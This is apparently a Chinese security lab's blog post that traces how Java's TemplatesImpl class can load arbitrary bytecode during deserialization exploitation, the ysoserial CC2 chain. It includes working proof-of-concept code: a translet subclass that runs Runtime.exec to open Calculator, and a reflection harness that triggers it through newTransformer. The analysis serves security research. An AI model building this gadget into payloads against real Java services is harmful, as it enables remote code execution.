点击蓝字 关注我们
日期:2023-02-03
作者:ICDAT
介绍:这篇文章主要是对反序列化漏洞中
TemplatesImpl
的利用进行分析。
0x00 前言
上一篇文章,我们对CC2
进行分析的时候,发现ysoserial
的源码里,没有像CC5
那样定义Transformer
的数组来执行命令。
我们先来分析一下ysoserial
的利用,后面再来看看其他利用链。
0x01 ysoserial#createTemplatesImpl
CC5
:
CC2
:
通过createTemplatesImpl
构建的执行命令的参数。查看源代码,其反射里用到了TemplatesImpl
类。
0x02 defineClass
要想了解TemplatesImpl
类,我们需要了解一些前置知识。
defineClass用来将byte字节流解析成JVM能够识别的Class对象。简单来说,就是把class字节码文件,转化成虚拟机能识别的Class对象。
defineClass
为java.lang.ClassLoader
类的方法,其被protected
修饰,可以被同包中子类调用。但是其又被final
修饰,被final
修饰的方法无法在其子类中重写。我们可以通过反射来调用该方法。
下面我们来举例实现defineClass
转换字节码。
想要实现defineClass
方法,需要特别注意一点的是,defineClass
被调用的时候,类对象不会初始化,只有这个对象显示的调用其沟通方法,初始化代码才能被执行。
而且,即使将初始化代码放在类的的static
块中,在defineClass
时也无法被直接调用到。
先定义一个Hello
类,然后通过Files.readAllBytes
读取Hello
类的字节码文件。
Hello.java
:
public class Hello {
static {
System.out.println("初始化代码块被调用");
}
private String message;
public Hello(String message){
this.message = message;
System.out.println("有参构造方法被调用,参数message="+message);
}
public Hello(){
System.out.println("无参构造方法被调用");
}
}
TestDefine.java
:
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestDefine {
public static void main(String[] args) throws Exception {
//获取Hello类的字节码
byte[] hello = Files.readAllBytes(Paths.get("target/classes/Hello.class"));
//反射调用defineClass
Method defineMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineMethod.setAccessible(true);
//执行defineMethod方法,传入构造方法Hello,获取Hello类
Class hello1 = (Class) defineMethod.invoke(ClassLoader.getSystemClassLoader(), "Hello", hello, 0, hello.length);
System.out.println("开始调用构造方法");
//调用无参构造方法
hello1.newInstance();
//获取Hello类的有参构造方法
Constructor c1 = hello1.getDeclaredConstructor(String.class);
c1.setAccessible(true);
//调用有参构造方法
c1.newInstance("123");
}
}
查看执行结果:
0x03 TemplatesImpl
我们了解了defineClass
,那么跟TemplatesImpl
有什么关系呢?
我们前面提到了defineClass
无法在类外部使用,而且很少会被利用到,但是TemplatesImpl
类中给了我们机会,来调用defindClass
方法。
TemplatesImpl
类的全路径为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,而且其在rt.jar
中。
而rt.jar
存储了java class
文件和程序所需的全部资源。
rt.jar代表runtime,包含所有核心Java 运行环境的已编译calss文件。
必须在类路径中包含rt.jar,否则您无权访问核心类,例如 java.lang.String,java.lang.Thread,java.util.ArrayList或java.io.InputStream等,以及所有Java API中的其他类。
所以正常情况下,都会用到rt.jar
文件。
TemplatesImpl
类实现了Serializable
接口,可进行序列化。
TemplatesImpl
中定义了一个静态内部类TransletClassLoader
继承了ClassLoader
类,该类中重载(不是重写)了defineClass
方法,该方法调用了java.lang.ClassLoader#defineClass
,使用缺省修饰符即default
修饰该类。
因为被其在静态类中,访问受限,所以我们需要扩大作用域,来让外部类可以调用。
0x04 defineTransletClasses()
查看TransletClassLoader
类的调用,发现defineTransletClasses
类调用了该类。
我们查看一下defineTransletClasses
类的逻辑。
ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"
_tfactory
为TransformerFactoryImpl
类。
通过上述代码,我们如果想通过defineTransletClasses
类来执行任意代码,我们需要构造一个TemplatesImpl
类对象,其中的参数需要符合下列要求:
_tfactory 为 TransformerFactoryImpl对象
_bytecodes 不为空,且在遍历中通过字节码转成一个类,例如new byte [][]{code}(code为字节码)这种二维数组
_transletIndex的值暂时不确定
但是该类修饰符为private
,作用域更小了,我们需要再进行回调,寻找更大的作用域。
0x05 getTransletInstance
再次往上回调,发现存在3
个方法调用了defineTransletClasses
。
(1) getTransletClasses
方法
类修饰符为private
,没有对_class
进行操作,但是返回了_class
,可以尝试继续回调,发现只有此处引用该方法,pass
。
(2) getTransletIndex
方法
类修饰符为public
,可以直接在外面调用了。
但是查看代码发现,此方法没有对_class
做任何操作,没有利用构造方法,没法执行代码,所以这个方法也不行。
(3) getTransletInstance
方法
类修饰符为private
,在_class
为null
且_name
不为null
时调用defineTransletClasses
方法,第455
行代码_class[_transletIndex].newInstance()
创建了对象,执行了构造方法。_class
和_transletIndex
均来自defineTransletClasses
方法。
结合之前对defineTransletClasses
方法的分析,superClass
的值需要为AbstractTranslet
,即字节码应该是AbstractTranslet
类的子类。
那么执行任意代码的TemplatesImpl
类对象需要符合如下:
_tfactory 为 TransformerFactoryImpl对象
_bytecodes 不为空,且在遍历中通过字节码转成一个类,例如new byte [][]{code}(code为字节码)这种二维数组
code字节码是AbstractTranslet的子类,从而保证_transletIndex的值为1
_class为null (默认初始化为null)
_name不为null
但是该方法作用域小,再次尝试回调。
0x06 newTransformer
进行回调发现newTransformer
方法调用了getTransletInstance
方法。
该方法作用域为public
,可以通过外部来进行调用。
下列我们尝试利用newTransformer
方法来执行计算器。
首先是新建一个AbstractTranslet
类的子类,在构造方法或static
静态代码块调用计算器。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Test() throws IOException {
super();
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
因为TemplatesImpl
的成员变量都是私有变量,只能通过反射来设置。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class RunTest {
public static void main(String[] args) throws Exception {
//获取字节码
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));
TemplatesImpl templates = new TemplatesImpl();
//通过反射对私有变量进行赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123123");
//执行newTransformer()方法触发弹窗
templates.newTransformer();
}
}
执行代码,成功弹窗。
0x07 结语
这篇文章主要是对反序列化漏洞利用中TemplatesImpl
类进行动态加载字节码的分析,后续还需要看一下ysoserial
的CC2
利用,以及利用TemplatesImpl
类实现的CC2
的另一个利用链。
参考:
http://www.chn520.cn/article_detail/1646107441882561
https://blog.csdn.net/ni_hao_fan/article/details/95315193
java安全漫谈-13.Java中动态加载字节码的那些方法
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。
原文始发于微信公众号(宸极实验室):『代码审计』TemplatesImpl 利用分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论